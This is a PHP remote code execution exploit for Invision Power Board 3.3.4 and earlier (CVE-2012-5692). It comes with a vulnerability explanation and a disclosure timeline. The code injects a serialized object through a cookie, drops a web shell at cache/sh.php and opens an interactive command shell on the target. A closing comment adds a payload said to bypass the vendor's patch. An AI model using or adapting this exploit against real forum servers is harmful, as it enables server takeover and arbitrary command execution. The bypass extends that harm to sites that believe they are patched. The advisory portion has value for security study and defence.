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<?php /* ---------------------------------------------------------------- Invision Power Board <= 3.3.4 "unserialize()" PHP Code Execution ---------------------------------------------------------------- author..............: Egidio Romano aka EgiX mail................: n0b0d13s[at]gmail[dot]com software link.......: http://www.invisionpower.com/ +-------------------------------------------------------------------------+ | This proof of concept code was written for educational purpose only. | | Use it at your own risk. Author will be not responsible for any damage. | +-------------------------------------------------------------------------+ [-] Vulnerable code in IPSCookie::get() method defined in /admin/sources/base/core.php 4015. static public function get($name) 4016. { 4017. // Check internal data first 4018. if ( isset( self::$_cookiesSet[ $name ] ) ) 4019. { 4020. return self::$_cookiesSet[ $name ]; 4021. } 4022. else if ( isset( $_COOKIE[ipsRegistry::$settings['cookie_id'].$name] ) ) 4023. { 4024. $_value = $_COOKIE[ ipsRegistry::$settings['cookie_id'].$name ]; 4025. 4026. if ( substr( $_value, 0, 2 ) == 'a:' ) 4027. { 4028. return unserialize( stripslashes( urldecode( $_value ) ) ); 4029. } The vulnerability is caused due to this method unserialize user input passed through cookies without a proper sanitization. The only one check is done at line 4026, where is controlled that the serialized string starts with 'a:', but this is not sufficient to prevent a "PHP Object Injection" because an attacker may send a serialized string which represents an array of objects. This can be exploited to execute arbitrary PHP code via the "__destruct()" method of the "dbMain" class, which calls the "writeDebugLog" method to write debug info into a file. PHP code may be injected only through the $_SERVER['QUERY_STRING'] variable, for this reason successful exploitation of this vulnerability requires short_open_tag to be enabled. [-] Disclosure timeline: [21/10/2012] - Vulnerability discovered [23/10/2012] - Vendor notified [25/10/2012] - Patch released: http://community.invisionpower.com/topic/371625-ipboard-31x-32x-and-33x-security-update [25/10/2012] - CVE number requested [29/10/2012] - Assigned CVE-2012-5692 [31/10/2012] - Public disclosure */ error_reporting(0); set_time_limit(0); ini_set('default_socket_timeout', 5); function http_send($host, $packet) { if (!($sock = fsockopen($host, 80))) die("\n[-] No response from {$host}:80\n"); fputs($sock, $packet); return stream_get_contents($sock); } print "\n+---------------------------------------------------------------------+"; print "\n| Invision Power Board <= 3.3.4 Remote Code Execution Exploit by EgiX |"; print "\n+---------------------------------------------------------------------+\n"; if ($argc < 3) { print "\nUsage......: php $argv[0] <host> <path>\n"; print "\nExample....: php $argv[0] localhost /"; print "\nExample....: php $argv[0] localhost /ipb/\n"; die(); } list($host, $path) = array($argv[1], $argv[2]); $packet = "GET {$path}index.php HTTP/1.0\r\n"; $packet .= "Host: {$host}\r\n"; $packet .= "Connection: close\r\n\r\n"; $_prefix = preg_match('/Cookie: (.+)session/', http_send($host, $packet), $m) ? $m[1] : ''; class db_driver_mysql { public $obj = array('use_debug_log' => 1, 'debug_log' => 'cache/sh.php'); } $payload = urlencode(serialize(array(new db_driver_mysql))); $phpcode = '<?error_reporting(0);print(___);passthru(base64_decode($_SERVER[HTTP_CMD]));die;?>'; $packet = "GET {$path}index.php?{$phpcode} HTTP/1.0\r\n"; $packet .= "Host: {$host}\r\n"; $packet .= "Cookie: {$_prefix}member_id={$payload}\r\n"; $packet .= "Connection: close\r\n\r\n"; http_send($host, $packet); $packet = "GET {$path}cache/sh.php HTTP/1.0\r\n"; $packet .= "Host: {$host}\r\n"; $packet .= "Cmd: %s\r\n"; $packet .= "Connection: close\r\n\r\n"; if (preg_match('/<\?error/', http_send($host, $packet))) die("\n[-] short_open_tag disabled!\n"); while(1) { print "\nipb-shell# "; if (($cmd = trim(fgets(STDIN))) == "exit") break; $response = http_send($host, sprintf($packet, base64_encode($cmd))); preg_match('/___(.*)/s', $response, $m) ? print $m[1] : die("\n[-] Exploit failed!\n"); } /* So this is the patch that sanitizes, static public function safeUnserialize( $serialized ) { // unserialize will return false for object declared with small cap o // as well as if there is any ws between O and : if ( is_string( $serialized ) && strpos( $serialized, "\0" ) === false ) { if ( strpos( $serialized, 'O:' ) === false ) { // the easy case, nothing to worry about // let unserialize do the job return @unserialize( $serialized ); } else if ( ! preg_match('/(^|;|{|})O:[0-9]+:"/', $serialized ) ) { // in case we did have a string with O: in it, // but it was not a true serialized object return @unserialize( $serialized ); } } return false; } And this is what bypasses it ( By @i0n1c ) $payload = urlencode('a:1:{i:0;O:+15:"db_driver_mysql":1:{s:3:"obj";a:2:{s:13:"use_debug_log";i:1;s:9:"debug_log";s:12:"cache/sh.php";}}}'); Which makes this an IPB 0day. lulz! - webDEViL */ ?>